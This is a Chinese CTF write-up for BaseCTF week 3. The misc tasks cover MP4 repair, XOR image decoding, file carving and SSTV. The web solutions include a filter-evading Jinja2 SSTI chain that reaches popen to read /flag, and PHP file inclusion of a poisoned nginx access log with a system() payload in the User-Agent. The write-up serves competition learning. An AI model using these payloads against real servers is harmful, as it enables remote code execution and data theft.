BaseCTF-week3-wp

[TOC]

misc

[Week3] broken.mp4

考点:破损的mp4,untrunc工具

下载附件,是一个完整的mp4和一个破损的mp4,用untrunc工具进行修复破损的mp4,播放视频就能看到flag。

image-20240911000105138

image-20240911000315052

[Week3] 我要吃火腿!

考点:兽音解密,python代码审计,破损文件修复,文件分离,SSTV

下载附件,解压。有一个破损的jpg文件和一个txt文件。打开txt文件

image-20240911224023855

发现是兽音,在线直接解密。

image-20240911224225507

得到一串python代码

1
2
3
4
5
6
7
8
9
10
11
12
13
def xor_with_ham(input_file, output_file):
ham_bytes = [0x48, 0x61, 0x6D]

with open(input_file, 'rb') as f:
data = bytearray(f.read())

for i in range(len(data)):
data[i] ^= ham_bytes[i % 3]

with open(output_file, 'wb') as f:
f.write(data)

xor_with_ham('Hamorl.jpg', 'Ham.jpg')

代码审计,发现是进行了异或运算。异或运算具有对称性,即对某个数据进行两次相同的异或操作后,结果会还原为原始数据,换一下处理对象,再运行一边就ok——

1
xor_with_ham('Ham.jpg', 'Hamorl.jpg')

image-20240911224432266

得到图片,放进010editor里看看。发现隐藏了wav文件。

image-20240911224611885

kali机里用foremost分离出来,得到一个音频。

image-20240911224716250

播放发现是刺耳的刺啦刺啦声,猜测是SSTV。使用MMSSTV工具,得到flag。

image-20240911223740370

[Week3] 纯鹿人

考点:文件分离

下载附件是个docx文件,查看,将图片移动一下,ctrl+a全选,发现猫腻

image-20240912215749109

换个字体颜色,看到一串base64代码

image-20240912215820604

image-20240912215841006

盲猜password应该是个压缩包的,把docx文件放进010查看一下。确认是压缩包。

image-20240912215937669

改后缀名后解压,找到里面唯一的图片。

image-20240912220017703

放进010查看,发现隐藏压缩包文件。

image-20240912220102159

进行文件分离,提取出压缩包,密码就是上面的密码,最后得到flag。

image-20240912220202811

web

复读机

经典的SSTI,过滤了一些关键字和一些符号,经过测试,过滤了以下符号

1
+ - * / . {{ }} __ : " \

先是使用继承链走到 RCE

过滤了 . ,可以用中括号绕,过滤了关键字,可以在关键字中间插入一对单引号 ''

寻找能 RCE 的类,比如 ``

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}

接着使用这个类里的 popen 函数来 RCE

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}

因为过滤了斜杠和反斜杠,无法直接跳到根目录,这里提供三个方法来获取斜杠来跳到根目录

法一:利用 chr 函数来构造出一个命令

先找到 chr

1
2
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% print(chr) %}

接着用 chr 搭配上数字构造出想要执行的命令

1
2
3
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

最后把 cmd 作为 popen 的参数传递进去,即可得到 flag

同理,利用 format 来得到 / 也是可以的

1
2
BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

法二:利用环境变量的值

查看环境变量,可以看到 OLDPWD=/

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}

此时可以直接利用它来切换到根目录,然后再读flag

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

法三:利用 expr substr 切割出一个 /

比如 pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像法二那样切换到根目录然后读 flag 了

1
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

[Week3] 滤个不停

考点:include包含漏洞,nginx日志注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
if (strpos($Datch, $char) === false) {
$is_valid = false;
break;
}
}

if ($is_valid) {

$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

foreach ($invalid_patterns as $pattern) {
if (stripos($Datch, $pattern) !== false) {
die('此路不通换条路试试?');
}
}


include($Datch);
} else {
die('文件名不合规 请重试');
}
?>

分析,第一个参数直接传,第二个要绕过两个if语句。

strpos() 函数查找字符串在另一字符串中第一次出现的位置。

stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)

strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

发现sever是nginx

image-20240912202350760

网上查找相关信息,发现可以使用日志注入

构造payload

1
incompetent=HelloWorld&Datch=/var/log/nginx/access.log

并在ua(user-agent)处传入执行命令

1
<?php eval(system('cat /flag'));?>

得到flag。

image-20240912202642837